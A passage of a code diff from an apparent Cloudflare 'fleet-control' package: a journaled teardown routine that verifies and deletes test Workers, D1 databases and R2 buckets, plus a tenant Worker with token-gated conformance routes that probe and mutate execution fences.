+      accountId: snapshot.binding.accountId,
+      prefix: snapshot.binding.resourcePrefix,
+      apiToken: input.apiToken,
+      fetchRequest,
+      delay,
+    };
+  } catch {
+    refuse('invalid-state');
+  }
+}
+
+export function survivingIdentities(bootstrap, receipts) {
+  return Object.freeze({
+    fleetUuid: receipts.fleet ? null : (bootstrap?.fleet?.uuid ?? null),
+    quotaUuid: receipts.quota ? null : (bootstrap?.quota?.uuid ?? null),
+    exportBucket: receipts.exports ? null : (bootstrap?.exports?.name ?? null),
+    scriptName: receipts.worker
+      ? null
+      : (bootstrap?.upload?.scriptName ?? null),
+    activeVersionId: receipts.worker
+      ? null
+      : (bootstrap?.active?.versionId ?? null),
+  });
+}
+
+function confirmedExportKeys(scenario, prefix) {
+  const keys = [];
+  const add = (proof) => {
+    const receipt = proof?.receipt;
+    if (!receipt) refuse('invalid-state');
+    const key = `${prefix}/receipts/v1/${receipt.databaseId}/${receipt.operationId}.sql`;
+    if (!keys.includes(key)) keys.push(key);
+  };
+  add(scenario?.proofs.exports.a);
+  add(scenario?.proofs.exports.b);
+  for (const proof of scenario?.proofs.exportVerifications ?? []) add(proof);
+  if (keys.length !== CONFIRMED_EXPORT_KEYS) refuse('invalid-state');
+  return keys;
+}
+
+export async function teardownDirectReference(input) {
+  let context;
+  try {
+    context = checkedInput(input);
+  } catch (error) {
+    const code = teardownCode(error);
+    return Object.freeze({
+      status: 'retained',
+      reason: code,
+      phase: 'refused',
+      facts: Object.freeze({
+        retainedIdentities: survivingIdentities(null, EMPTY_RECEIPTS),
+        receipts: EMPTY_RECEIPTS,
+        residual: null,
+        providerRequests: 0,
+        failure: code,
+      }),
+    });
+  }
+  const {
+    journal,
+    config,
+    snapshot,
+    accountId,
+    prefix,
+    apiToken,
+    fetchRequest,
+    delay,
+  } = context;
+  const selectors = { account_id: accountId };
+  const bootstrap = snapshot.bootstrap;
+  let teardown = snapshot.teardown ?? null;
+  let phase = teardown?.phase ?? 'refused';
+  let receipts = teardown?.receipts ?? EMPTY_RECEIPTS;
+  let residual = teardown?.residual ?? null;
+  let providerRequests = teardown?.providerRequests ?? 0;
+  let transport;
+  let apiError;
+  const facts = (failure) =>
+    Object.freeze({
+      retainedIdentities: survivingIdentities(bootstrap, receipts),
+      receipts,
+      residual,
+      providerRequests,
+      failure,
+    });
+  const write = async (fields) => {
+    try {
+      await journal.recordTeardown({
+        version: 1,
+        phase,
+        pending: null,
+        receipts,
+        residual,
+        providerRequests,
+        failure: null,
+        ...fields,
+      });
+    } catch (error) {
+      refuse(teardownCode(error, apiError));
+    }
+    teardown = journal.snapshot().teardown;
+    phase = teardown.phase;
+    receipts = teardown.receipts;
+    residual = teardown.residual;
+  };
+  try {
+    if (mutationPending(snapshot)) refuse('outcome-unknown');
+    if (!bootstrap || BOOTSTRAP_RECEIPTS.some((key) => !bootstrap[key]))
+      refuse('invalid-state');
+    if (phase === 'complete' && teardown.failure === null)
+      return Object.freeze({ status: 'cleaned', facts: facts(null) });
+    const names = bootstrap.context.names;
+    const script = names.referenceWorker;
+    const bucket = bootstrap.exports.name;
+    const zoneId = bootstrap.context.zoneId;
+    // A recorded refusal is terminal for automation unless its reason is one a
+    // later run clears: an incomplete scenario, or an invocation, bootstrap or
+    // teardown mutation whose outcome was unknown. Each of those reasons is
+    // re-checked by the guard that raises it — the scenario operands in this
+    // expression, `mutationPending` above, and `mutate`'s own re-probe for the
+    // refusal it records; an identity mismatch, a forbidden answer and an
+    // exhausted budget stay terminal.
+    const refusing =
+      (teardown?.phase === 'refused' &&
+        !DIRECT_TEARDOWN_RECOVERABLE_FAILURES.includes(teardown.failure)) ||
+      snapshot.scenario?.phase !== 'complete' ||
+      snapshot.scenario.failure !== null;
+    const confirmed = refusing
+      ? []
+      : confirmedExportKeys(snapshot.scenario, prefix);
+    const session = await openDirectProviderSession({
+      apiToken,
+      fetchRequest: (target, init) => {
+        providerRequests += 1;
+        return fetchRequest(target, init);
+      },
+      timeoutMs: config.referenceWorker.requestTimeoutMs,
+    });
+    transport = session.transport;
+    const { sdk, numbered, single, status, settled, APIError, bound } = session;
+    apiError = APIError;
+
+    const observe = async () => {
+      const disposable = config.disposableAccount === true;
+      const surface = (matched, exhaustive, count) =>
+        Object.freeze({
+          prefixCount: matched.length,
+          prefixNames: Object.freeze(
+            matched
+              .filter(recordableName)
+              .slice(0, DIRECT_TEARDOWN_MAXIMA.prefixNames),
+          ),
+          globalCount: disposable ? count : null,
+          exhaustive,
+        });
+      // A row whose classifying field is unusable is not evidence of absence,
+      // so it refuses here. Databases and buckets reach the same refusal one
+      // step earlier, in the identity and name checks their listings run.
+      const matching = (rows, field) =>
+        rows
+          .map((row) => {
+            const value = row?.[field];
+            if (typeof value !== 'string') refuse('provider-unavailable');
+            return value;
+          })
+          .filter((value) => value.startsWith(prefix));
+      const listed = (page, field) =>
+        surface(matching(page.rows, field), page.exhaustive, page.rows.length);
+      const databaseRowKeys = (row) => {
+        identifier(row.name);
+        return [identifier(row.uuid)];
+      };
+      const databases = await inventory(
+        numbered.d1.database.list({ ...selectors, name: prefix }),
+        databaseRowKeys,
+        bound,
+      );
+      const allDatabases = disposable
+        ? await inventory(
+            numbered.d1.database.list(selectors),
+            databaseRowKeys,
+            bound,
+          )
+        : [];
+      const namespaces = await inventory(
+        numbered.durableObjects.namespaces.list(selectors),
+        (row) => [`id:${identifier(row.id)}`],
+        bound,
+      );
+      const scripts = await singlePage(single.workers.scripts.list(selectors));
+      const buckets = await bucketPages({
+        sdk,
+        selectors,
+        jurisdiction: 'default',
+        bound,
+      });
+      // Both listings are scoped to the zone the bootstrap recorded, so the
+      // `globalCount` each contributes below covers that zone and not the
+      // account — the scope `bucketJurisdictions` records for the bucket count.
+      const domains = await singlePage(
+        single.workers.domains.list({ ...selectors, zone_id: zoneId }),
+      );
+      const routes = await singlePage(
+        single.workers.routes.list({ zone_id: zoneId }),
+      );
+      let queues;
+      try {
+        queues = await singlePage(single.queues.list(selectors));
+      } catch (error) {
+        // A 404 is read as an account that carries no queue collection. No
+        // provider capture in this repository attests that reading, so the
+        // empty page it stands in for is recorded `exhaustive: false` and the
+        // counts below are this reading rather than a page the provider sent.
+        if (!(error instanceof APIError) || error.status !== 404) throw error;
+        queues = { rows: [], exhaustive: false };
+      }
+      let dispatch;
+      try {
+        const classified = await classifyDispatchNamespaces(
+          single,
+          selectors,
+          bound,
+        );
+        dispatch = Object.freeze({
+          kind: classified.kind,
+          count: classified.count,
+          status: null,
+          prefixCount: classified.names.filter(
+            (name) => typeof name === 'string' && name.startsWith(prefix),
+          ).length,
+        });
+      } catch (error) {
+        if (!(error instanceof APIError) || providerErrorFrom(error))
+          throw error;
+        dispatch = Object.freeze({
+          kind: 'fail-closed',
+          count: 0,
+          status: error.status ?? null,
+          prefixCount: 0,
+        });
+      }
+      let versionsGone = null;
+      if (receipts.worker) {
+        let page;
+        const seen = await probeAbsent(
+          sdk.workers.scripts.versions.list(script, selectors).then((value) => {
+            page = value;
+            return value;
+          }),
+        );
+        versionsGone =
+          seen === 'absent' ||
+          (Array.isArray(page?.result?.items) &&
+            page.result.items.length === 0);
+      }
+      return {
+        version: 1,
+        surfaces: {
+          databases: surface(
+            matching(databases, 'name'),
+            true,
+            allDatabases.length,
+          ),
+          durableObjectNamespaces: surface(
+            matching(namespaces, 'script'),
+            true,
+            namespaces.length,
+          ),
+          scripts: listed(scripts, 'id'),
+          buckets: surface(matching(buckets, 'name'), true, buckets.length),
+          domains: listed(domains, 'service'),
+          routes: listed(routes, 'script'),
+          queues: listed(queues, 'queue_name'),
+        },
+        bucketJurisdictions: ['default'],
+        dispatch,
+        versionsGone,
+        settleAttempts: 1,
+      };
+    };
+    const isSettled = (observation) =>
+      DIRECT_RESIDUAL_SURFACES.every((name) => {
+        const entry = observation.surfaces[name];
+        return (
+          entry.prefixCount === 0 &&
+          (entry.globalCount === null || entry.globalCount === 0)
+        );
+      }) &&
+      observation.versionsGone !== false &&
+      observation.dispatch.kind !== 'fail-closed' &&
+      observation.dispatch.prefixCount === 0;
+    const settle = async (attempts) => {
+      let observation;
+      for (let attempt = 1; attempt <= attempts; attempt += 1) {
+        transport.assertBudget();
+        observation = { ...(await observe()), settleAttempts: attempt };
+        if (isSettled(observation) || attempt === attempts) break;
+        await delay(SETTLE_DELAY_MS);
+      }
+      return observation;
+    };
+
+    if (refusing) {
+      const failure = teardown?.failure ?? 'scenario-incomplete';
+      const observation = await settle(1);
+      await write({
+        phase: 'refused',
+        receipts: EMPTY_RECEIPTS,
+        residual: observation,
+        failure,
+      });
+      refuse(failure);
+    }
+
+    const settlement = (settledByReread) =>
+      Object.freeze({ ordinal: providerRequests, settledByReread });
+    const mutate = async ({
+      kind,
+      key,
+      nextPhase,
+      field,
+      append = false,
+      probe,
+      identity,
+      call,
+      receipt,
+    }) => {
+      transport.assertBudget();
+      const pending = teardown?.pending ?? null;
+      if (pending && (pending.kind !== kind || pending.key !== key))
+        refuse('invalid-state');
+      const merged = (settledByReread) => {
+        const entry = { ...receipt(), ...settlement(settledByReread) };
+        return {
+          ...receipts,
+          [field]: append ? [...receipts[field], entry] : entry,
+        };
+      };
+      // The probe runs first because the identity reads are not
+      // `probeAbsent`-wrapped: a 404 there refuses instead of settling.
+      if ((await probe()) === 'absent') {
+        // The phase advances even where the probe settles the step:
+        // `recordTeardown` admits one position at a time, so a phase left
+        // behind here makes the next write a two-position jump it refuses.
+        await write({ phase: nextPhase, receipts: merged(true) });
+        return;
+      }
+      // Attestation runs ahead of the pending write. On a first attempt a
+      // refusal here has issued nothing; on a resume the pending record it
+      // refuses in front of is the earlier run's.
+      await identity();
+      if (!pending)
+        await write({
+          phase: nextPhase,
+          pending: key === undefined ? { kind } : { kind, key },
+        });
+      let settledByReread = false;
+      try {
+        await call();
+      } catch (error) {
+        const code = teardownCode(error, apiError);
+        if (code === 'forbidden' || code === 'budget-exhausted') refuse(code);
+        settledByReread = true;
+      }
+      if ((await probe()) !== 'absent') refuse('outcome-unknown');
+      await write({ receipts: merged(settledByReread) });
+    };
+
+    const ingressProbe = async () => {
+      let observed;
+      const seen = await probeAbsent(
+        sdk.workers.scripts.subdomain.get(script, selectors).then((value) => {
+          observed = value;
+          return value;
+        }),
+      );
+      // The same predicate the disable call checks its own answer against: a
+      // script still reachable on a preview URL carries ingress, whatever
+      // `enabled` says.
+      return seen === 'absent' ||
+        (observed?.enabled === false && observed.previews_enabled === false)
+        ? 'absent'
+        : 'present';
+    };
+    const scriptProbe = () =>
+      probeAbsent(status.workers.scripts.get(script, selectors).asResponse());
+    const databaseProbe = (uuid) => () =>
+      probeAbsent(sdk.d1.database.get(uuid, selectors));
+    const databaseIdentity = (uuid, name) => async () => {
+      const observed = await sdk.d1.database.get(uuid, selectors);
+      if (observed?.uuid !== uuid || observed.name !== name)
+        refuse('identity-mismatch');
+    };
+    const objectProbe = (key) => () =>
+      probeAbsent(
+        status.r2.buckets.objects
+          .get(key, {
+            ...selectors,
+            bucket_name: bucket,
+            jurisdiction: 'default',
+          })
+          .asResponse(),
+      );
+    const bucketProbe = () =>
+      probeAbsent(
+        sdk.r2.buckets.get(bucket, { ...selectors, jurisdiction: 'default' }),
+      );
+
+    // Shared so that a step which mutates one of these resources attests it
+    // itself, rather than on the strength of a later step's check.
+    const scriptIdentity = async () => {
+      const { exactActiveVersionId } = await import('../src/active-route.ts');
+      const deployments = (
+        await sdk.workers.scripts.deployments.list(script, selectors)
+      ).deployments;
+      if (!Array.isArray(deployments) || deployments.length === 0)
+        refuse('provider-unavailable');
+      let active;
+      try {
+        active = exactActiveVersionId(deployments[0], 'reference');
+      } catch {
+        refuse('identity-mismatch');
+      }
+      if (active !== bootstrap.active.versionId) refuse('identity-mismatch');
+    };
+    const bucketIdentity = async () => {
+      const observed = await sdk.r2.buckets.get(bucket, {
+        ...selectors,
+        jurisdiction: 'default',
+      });
+      if (
+        observed?.name !== bucket ||
+        (observed.jurisdiction !== undefined &&
+          observed.jurisdiction !== 'default') ||
+        typeof observed.creation_date !== 'string' ||
+        !Number.isFinite(Date.parse(observed.creation_date)) ||
+        new Date(observed.creation_date).toISOString() !==
+          bootstrap.exports.creationDate
+      )
+        refuse('identity-mismatch');
+    };
+
+    if (!receipts.exports) {
+      const ceiling = Number.MAX_SAFE_INTEGER;
+      try {
+        await journal.assertTeardownCapacity({
+          version: 1,
+          phase: 'complete',
+          pending: null,
+          receipts: {
+            ingress: { ordinal: ceiling, settledByReread: true },
+            worker: {
+              scriptName: script,
+              secretNames: maximal(DIRECT_TEARDOWN_MAXIMA.secretNames),
+              ordinal: ceiling,
+              settledByReread: true,
+            },
+            fleet: {
+              uuid: bootstrap.fleet.uuid,
+              ordinal: ceiling,
+              settledByReread: true,
+            },
+            quota: {
+              uuid: bootstrap.quota.uuid,
+              ordinal: ceiling,
+              settledByReread: true,
+            },
+            exportObjects: confirmed.map((key) => ({
+              key,
+              ordinal: ceiling,
+              settledByReread: true,
+            })),
+            exports: { name: bucket, ordinal: ceiling, settledByReread: true },
+          },
+          residual: {
+            version: 1,
+            surfaces: Object.fromEntries(
+              DIRECT_RESIDUAL_SURFACES.map((name) => [
+                name,
+                {
+                  prefixCount: ceiling,
+                  prefixNames: maximal(DIRECT_TEARDOWN_MAXIMA.prefixNames),
+                  globalCount: ceiling,
+                  exhaustive: true,
+                },
+              ]),
+            ),
+            bucketJurisdictions: ['default'],
+            dispatch: {
+              kind: 'enumerated',
+              count: ceiling,
+              status: ceiling,
+              prefixCount: ceiling,
+            },
+            versionsGone: false,
+            settleAttempts: DIRECT_TEARDOWN_MAXIMA.settleAttempts,
+          },
+          providerRequests: ceiling,
+          failure: 'residual-present',
+        });
+      } catch {
+        refuse('invalid-state');
+      }
+    }
+
+    if (!receipts.ingress)
+      await mutate({
+        kind: 'disable-reference-ingress',
+        nextPhase: 'ingress',
+        field: 'ingress',
+        probe: ingressProbe,
+        identity: scriptIdentity,
+        call: async () => {
+          const answer = await sdk.workers.scripts.subdomain.create(
+            script,
+            { ...selectors, enabled: false, previews_enabled: false },
+            MUTATION_OPTIONS,
+          );
+          if (answer?.enabled !== false || answer.previews_enabled !== false)
+            refuse('provider-unavailable');
+        },
+        receipt: () => ({}),
+      });
+
+    if (!receipts.worker) {
+      // The attestation lists the secrets; a script the probe already finds
+      // absent settles without one and records the empty set.
+      let secretNames = [];
+      await mutate({
+        kind: 'delete-reference-worker',
+        nextPhase: 'worker',
+        field: 'worker',
+        probe: scriptProbe,
+        identity: async () => {
+          await scriptIdentity();
+          const page = await singlePage(
+            single.workers.scripts.secrets.list(script, selectors),
+          );
+          // The observed set is compared whole: a name `recordableName` rejects
+          // is still a secret the script carries. The comparison is an
+          // equality, so a page that returned fewer rows than the script holds
+          // refuses here rather than passing, and the page's own `exhaustive`
+          // decides nothing.
+          const observed = page.rows.map((row) => row.name).sort();
+          if (!isDeepStrictEqual(observed, [...EXPECTED_SECRET_NAMES]))
+            refuse('identity-mismatch');
+          secretNames = observed;
+        },
+        call: () =>
+          settled.workers.scripts.delete(
+            script,
+            { ...selectors },
+            MUTATION_OPTIONS,
+          ),
+        receipt: () => ({ scriptName: script, secretNames }),
+      });
+    }
+
+    for (const [field, kind, uuid, name] of [
+      ['fleet', 'delete-fleet-d1', bootstrap.fleet.uuid, names.fleetDatabase],
+      ['quota', 'delete-quota-d1', bootstrap.quota.uuid, names.quotaDatabase],
+    ]) {
+      if (receipts[field]) continue;
+      await mutate({
+        kind,
+        nextPhase: field,
+        field,
+        probe: databaseProbe(uuid),
+        identity: databaseIdentity(uuid, name),
+        call: () =>
+          settled.d1.database.delete(uuid, selectors, MUTATION_OPTIONS),
+        receipt: () => ({ uuid }),
+      });
+    }
+
+    // The listing carries no `exhaustive`, and needs none: `validateEnvelope`
+    // refuses a non-empty cursor, so a page that returns at all is the last
+    // one the provider has.
+    const listObjects = async (scoped) =>
+      (
+        await singlePage(
+          single.r2.buckets.objects.list(bucket, {
+            ...selectors,
+            jurisdiction: 'default',
+            ...(scoped ? { prefix: `${prefix}/receipts/v1/` } : {}),
+          }),
+        )
+      ).rows;
+    const inspect = (rows) => {
+      for (const row of rows)
+        if (typeof row?.key !== 'string' || !confirmed.includes(row.key))
+          refuse('unexpected-object');
+      return rows;
+    };
+    // One attestation for the whole bucket sequence: the first call proves the
+    // bucket, and every step below reads that same proof.
+    let attested;
+    const attestBucket = () => (attested ??= bucketIdentity());
+    if (receipts.exportObjects.length < confirmed.length) {
+      // Ownership is attested before the content checks, so an unexpected
+      // object cannot pre-empt the proof that this is the run's own bucket.
+      // An absent bucket refuses as `provider-unavailable` here exactly as it
+      // does from the listings.
+      await attestBucket();
+      inspect(await listObjects(true));
+      inspect(await listObjects(false));
+      for (const key of confirmed) {
+        if (receipts.exportObjects.some((entry) => entry.key === key)) continue;
+        await mutate({
+          kind: 'delete-export-object',
+          key,
+          nextPhase: 'export-objects',
+          field: 'exportObjects',
+          append: true,
+          probe: objectProbe(key),
+          identity: attestBucket,
+          call: () =>
+            settled.r2.buckets.objects.delete(
+              key,
+              {
+                ...selectors,
+                bucket_name: bucket,
+                jurisdiction: 'default',
+              },
+              MUTATION_OPTIONS,
+            ),
+          receipt: () => ({ key }),
+        });
+      }
+    }
+
+    if (!receipts.exports) {
+      // A resume that owes only this step has skipped the block above, so the
+      // attestation happens here, ahead of the content check below.
+      await attestBucket();
+      // The empty prefix is owed by the run that deletes the bucket, not by
+      // the run that issued the object deletes: a resume holding every object
+      // receipt reads the prefix here rather than inheriting an earlier run's
+      // reading. Once `exports` is receipted the bucket is gone, so this is
+      // also the last point at which the listing has anything to address.
+      for (let attempt = 1; attempt <= OBJECT_SETTLE_ATTEMPTS; attempt += 1) {
+        transport.assertBudget();
+        if (inspect(await listObjects(true)).length === 0) break;
+        if (attempt === OBJECT_SETTLE_ATTEMPTS) refuse('provider-unavailable');
+        await delay(OBJECT_SETTLE_DELAY_MS);
+      }
+      await mutate({
+        kind: 'delete-export-r2',
+        nextPhase: 'exports',
+        field: 'exports',
+        probe: bucketProbe,
+        identity: attestBucket,
+        call: () =>
+          settled.r2.buckets.delete(
+            bucket,
+            { ...selectors, jurisdiction: 'default' },
+            MUTATION_OPTIONS,
+          ),
+        receipt: () => ({ name: bucket }),
+      });
+    }
+
+    if (phase !== 'residual' && phase !== 'complete')
+      await write({ phase: 'residual' });
+    const observation = await settle(DIRECT_TEARDOWN_MAXIMA.settleAttempts);
+    const failure = isSettled(observation) ? null : 'residual-present';
+    await write({ phase: 'complete', residual: observation, failure });
+    if (failure) refuse(failure);
+    return Object.freeze({ status: 'cleaned', facts: facts(null) });
+  } catch (error) {
+    const exhausted = transport?.failure();
+    const code =
+      error instanceof DirectTeardownError
+        ? error.code
+        : exhausted
+          ? (PROVIDER_CODES[exhausted] ?? 'provider-unavailable')
+          : teardownCode(error, apiError);
+    return Object.freeze({
+      status: 'retained',
+      reason: code,
+      phase,
+      facts: facts(code),
+    });
+  } finally {
+    transport?.close();
+  }
+}
diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts
new file mode 100644
index 00000000..551da277
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.d.mts
@@ -0,0 +1,15 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export const DIRECT_TENANT_OBJECT_KEY: 'direct-conformance-fixture';
+export const DIRECT_TENANT_OBJECT_BODY: 'direct-conformance-fixture-data';
+export const DIRECT_TENANT_ROUTES: Readonly<{
+  health: '/__direct/health';
+  object: '/__direct/object';
+  fenceMutate: '/__direct/fence-mutate';
+  fenceProbe: '/__direct/fence-probe';
+}>;
+export function directTenantMutationEpoch(release: string | undefined): number;
+export function directTenantProbeEpoch(
+  release: string | undefined,
+  label: unknown,
+): number | undefined;
diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs
new file mode 100644
index 00000000..6a685875
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-tenant-object.mjs
@@ -0,0 +1,32 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export const DIRECT_TENANT_OBJECT_KEY = 'direct-conformance-fixture';
+export const DIRECT_TENANT_OBJECT_BODY = 'direct-conformance-fixture-data';
+
+// The `/__direct/*` routes the tenant Worker answers. The reference harness
+// admits this set rather than restating it, so the harness and the router
+// cannot disagree about which requests exist.
+export const DIRECT_TENANT_ROUTES = Object.freeze({
+  health: '/__direct/health',
+  object: '/__direct/object',
+  fenceMutate: '/__direct/fence-mutate',
+  fenceProbe: '/__direct/fence-probe',
+});
+
+// The caller epoch an artifact of this release carries. Release 2 is the
+// post-cutover artifact; release 1 predates the activation and is therefore
+// stale once the control plane advances the fence. One definition, because the
+// conformance comparison is between the tenant's configured value and the
+// fixture's re-derivation of it, and two copies can drift while both lanes pass.
+export const directTenantMutationEpoch = (release) => (release === '2' ? 1 : 0);
+
+// The epoch a caller selects for a fence probe, positioned against the host
+// epoch above. One definition for the same reason: the tenant Worker and the
+// reference fixture answer the same labels from the same release.
+export const directTenantProbeEpoch = (release, label) => {
+  const host = directTenantMutationEpoch(release);
+  if (label === 'missing') return undefined;
+  if (label === 'stale') return Math.max(0, host - 1);
+  if (label === 'future') return host + 1;
+  return host;
+};
diff --git a/packages/fleet-control/scripts/direct-credentialed-tenant.ts b/packages/fleet-control/scripts/direct-credentialed-tenant.ts
new file mode 100644
index 00000000..13f84d3e
--- /dev/null
+++ b/packages/fleet-control/scripts/direct-credentialed-tenant.ts
@@ -0,0 +1,346 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  D1Database,
+  DurableObjectNamespace,
+  ExportedHandler,
+  R2Bucket,
+} from '@cloudflare/workers-types';
+import {
+  type ActorResolver,
+  createActorResolver,
+} from '@proofoftech/flowsafe/approval-api';
+import {
+  DurableObjectRunner,
+  ExecutionFenceStore,
+  init,
+  isPathSafeId,
+  type RunnerRuntime,
+} from '@proofoftech/flowsafe/do-runner';
+import {
+  approvalStoreFactoryFor,
+  createFlowsafeMaintenanceDurableObject,
+  createFlowsafeRunnerLifecycle,
+  createFlowsafeWorker,
+  type FlowsafeWorkerConfig,
+  type FlowsafeWorkerEnv,
+  readBoundedBody,
+  staticTokenVerifier,
+} from '@proofoftech/flowsafe/host-kit';
+import {
+  createScheduleRouter,
+  createScheduleTargetPolicy,
+  D1SchedulesStorage,
+} from '@proofoftech/flowsafe/schedules';
+import {
+  DIRECT_TENANT_OBJECT_BODY,
+  DIRECT_TENANT_OBJECT_KEY,
+  DIRECT_TENANT_ROUTES,
+  directTenantMutationEpoch,
+  directTenantProbeEpoch,
+} from './direct-credentialed-tenant-object.mjs';
+
+export interface DirectTenantEnv extends FlowsafeWorkerEnv {
+  DB: D1Database;
+  RUNNER: DurableObjectNamespace;
+  MAINTENANCE: DurableObjectNamespace;
+  APP_PROBE_TOKEN: string;
+  APPLICATION_RELEASE: string;
+  PROBE_BUCKET: R2Bucket;
+}
+
+const DIRECT_FENCE_WORKFLOW = 'direct-fence-probe';
+
+interface FenceOutcome {
+  response: Response;
+  result: {
+    schedule?: { id?: string };
+    pending?: boolean;
+    reason?: { code: string; classification?: string };
+  };
+}
+
+type FenceRoute = (
+  method: string,
+  suffix: string,
+  body?: string,
+) => Promise<FenceOutcome>;
+
+async function readFenceBody(request: Request, emptyBodyAllowed: boolean) {
+  const input = await readBoundedBody(request, 256);
+  if (!input.ok) return null;
+  if (input.text === '') return emptyBodyAllowed ? {} : null;
+  let value: unknown;
+  try {
+    value = JSON.parse(input.text);
+  } catch {
+    return null;
+  }
+  if (!value || typeof value !== 'object' || Array.isArray(value)) return null;
+  return value as Record<string, unknown>;
+}
+
+function fenceRoute(
+  request: Request,
+  env: DirectTenantEnv,
+  resolve: ActorResolver,
+): FenceRoute {
+  const router = createScheduleRouter({
+    resolve,
+    store: new D1SchedulesStorage(env.DB),
+    executionFence: new ExecutionFenceStore(env.DB),
+    targetPolicy: createScheduleTargetPolicy({
+      workflows: [{ id: DIRECT_FENCE_WORKFLOW }],
+      agents: [],
+    }),
+    validateThreadTarget: async () => {
+      throw new Error('direct fence probe target cannot require a thread');
+    },
+  });
+  return async (method, suffix, body) => {
+    const routed = new Request(`https://tenant/api/schedules${suffix}`, {
+      method,
+      headers: {
+        authorization: request.headers.get('authorization') ?? '',
+        'content-type': 'application/json',
+      },
+      ...(body === undefined ? {} : { body }),
+    });
+    const response = await router(routed);
+    if (!response) throw new Error('direct fence probe route did not match');
+    const result = (await response.json()) as FenceOutcome['result'];
+    return { response, result };
+  };
+}
+
+const createFenceSchedule = (route: FenceRoute) =>
+  route(
+    'POST',
+    '',
+    JSON.stringify({
+      workflowId: DIRECT_FENCE_WORKFLOW,
+      cron: '0 0 1 1 *',
+      status: 'paused',
+    }),
+  );
+
+const deleteFenceSchedule = (route: FenceRoute, scheduleId: unknown) =>
+  route('DELETE', `/${scheduleId}`);
+
+// A conformance-only capability, bounded at the point that grants it: this
+// resolver is built for `/__direct/fence-probe`, the caller has already passed
+// `APP_PROBE_TOKEN`, and the epoch it honours comes from the artifact's own
+// release through `directTenantProbeEpoch`, so the request names a position
+// against the host epoch rather than a number of its own. `/__direct/fence-mutate`
+// runs on the kit's resolver and selects no epoch at all.
+function fenceProbeResolver(
+  env: DirectTenantEnv,
+  label: unknown,
+): ActorResolver {
+  return createActorResolver({
+    authenticate: (candidate) =>
+      candidate.headers.get('authorization') === `Bearer ${env.APP_PROBE_TOKEN}`
+        ? { id: 'direct-conformance', role: 'admin' }
+        : undefined,
+    storeFactory: approvalStoreFactoryFor(env.DB),
+    mutationEpoch: directTenantProbeEpoch(env.APPLICATION_RELEASE, label),
+    buildService: () => {
+      throw new Error('direct fence probe does not request approval');
+    },
+  });
+}
+
+function fenceProbeAnswer(label: unknown, { response, result }: FenceOutcome) {
+  const { reason } = result;
+  const status = response.status;
+  if (response.ok)
+    return Response.json({ epoch: label, classification: 'accepted' });
+  if (status === 409 && reason?.code === 'MUTATION_EPOCH_MISMATCH')
+    return Response.json({
+      epoch: label,
+      classification: reason.classification,
+    });
+  if (
+    status === 503 &&
+    (reason?.code === 'EXECUTION_FENCED' ||
+      reason?.code === 'EXECUTION_FENCE_UNREADABLE')
+  )
+    return Response.json({ epoch: label, classification: 'fenced' });
+  return Response.json({
+    epoch: label,
+    classification: 'unexpected',
+    status,
+  });
+}
+
+function fenceMutateAnswer({ response, result }: FenceOutcome) {
+  const { reason } = result;
+  const status = response.status;
+  if (response.ok)
+    return Response.json({
+      accepted: true,
+      ...(result.schedule?.id === undefined
+        ? {}
+        : { scheduleId: result.schedule.id }),
+      ...(result.pending === true ? { pending: true } : {}),
+    });
+  if (reason && typeof reason === 'object' && !Array.isArray(reason))
+    return Response.json({
+      accepted: false,
+      code: reason.code,
+      ...(reason.classification === undefined
+        ? {}
+        : { classification: reason.classification }),
+      status,
+    });
+  return Response.json({ accepted: false, code: 'unexpected', status });
+}
+
+async function handleFenceProbe(request: Request, env: DirectTenantEnv) {
+  const parsed = await readFenceBody(request, false);
+  if (!parsed) return new Response('Invalid body', { status: 400 });
+  const label = parsed.epoch;
+  if (
+    label !== 'current' &&
+    label !== 'stale' &&
+    label !== 'missing' &&
+    label !== 'future'
+  )
+    return new Response('Invalid body', { status: 400 });
+  const route = fenceRoute(request, env, fenceProbeResolver(env, label));
+  const created = await createFenceSchedule(route);
+  const scheduleId = created.result.schedule?.id;
+  if (created.response.ok && scheduleId) {
+    if (!isPathSafeId(scheduleId))
+      throw new Error('direct fence probe received an invalid schedule id');
+    await deleteFenceSchedule(route, scheduleId);
+  }
+  // The probe reports on the create it made; the delete only returns the
+  // tenant to the state the next label finds.
+  return fenceProbeAnswer(label, created);
+}
+
+async function handleFenceMutate(
+  request: Request,
+  env: DirectTenantEnv,
+  resolve: ActorResolver,
+) {
+  const parsed = await readFenceBody(request, true);
+  if (!parsed) return new Response('Invalid body', { status: 400 });
+  const phase = parsed.phase === undefined ? 'both' : parsed.phase;
+  if (phase !== 'both' && phase !== 'create' && phase !== 'delete')
+    return new Response('Invalid body', { status: 400 });
+  if (phase === 'delete' && !isPathSafeId(parsed.scheduleId))
+    return new Response('Invalid body', { status: 400 });
+  const route = fenceRoute(request, env, resolve);
+  if (phase === 'delete')
+    return fenceMutateAnswer(
+      await deleteFenceSchedule(route, parsed.scheduleId),
+    );
+  const created = await createFenceSchedule(route);
+  const scheduleId = created.result.schedule?.id;
+  if (!created.response.ok || !scheduleId || phase === 'create')
+    return fenceMutateAnswer(created);
+  if (!isPathSafeId(scheduleId))
+    throw new Error('direct fence probe received an invalid schedule id');
+  return fenceMutateAnswer(await deleteFenceSchedule(route, scheduleId));
+}
+
+const config: FlowsafeWorkerConfig<DirectTenantEnv> = {
+  workflows: [],
+  systemPrincipalId: 'direct-conformance',
+  mutationEpoch: (env) => directTenantMutationEpoch(env.APPLICATION_RELEASE),
+  buildVerifier(env) {
+    return staticTokenVerifier(
+      new Map(
+        env.APP_PROBE_TOKEN
+          ? [[env.APP_PROBE_TOKEN, { id: 'direct-conformance', role: 'admin' }]]
+          : [],
+      ),
+    );
+  },
+  maintenance: {
+    sweepIntervalMs: 60 * 60_000,
+    purgeIntervalMs: 60 * 60_000,
+  },
+  async preRoutes(request, env, _ctx, kit) {
+    const path = new URL(request.url).pathname;
+    if (!path.startsWith('/__direct/')) return null;
+    if (!(await kit.resolve(request)))
+      return new Response('Unauthorized', { status: 401 });
+    if (request.method === 'POST') {
+      if (path === DIRECT_TENANT_ROUTES.fenceProbe)
+        return handleFenceProbe(request, env);
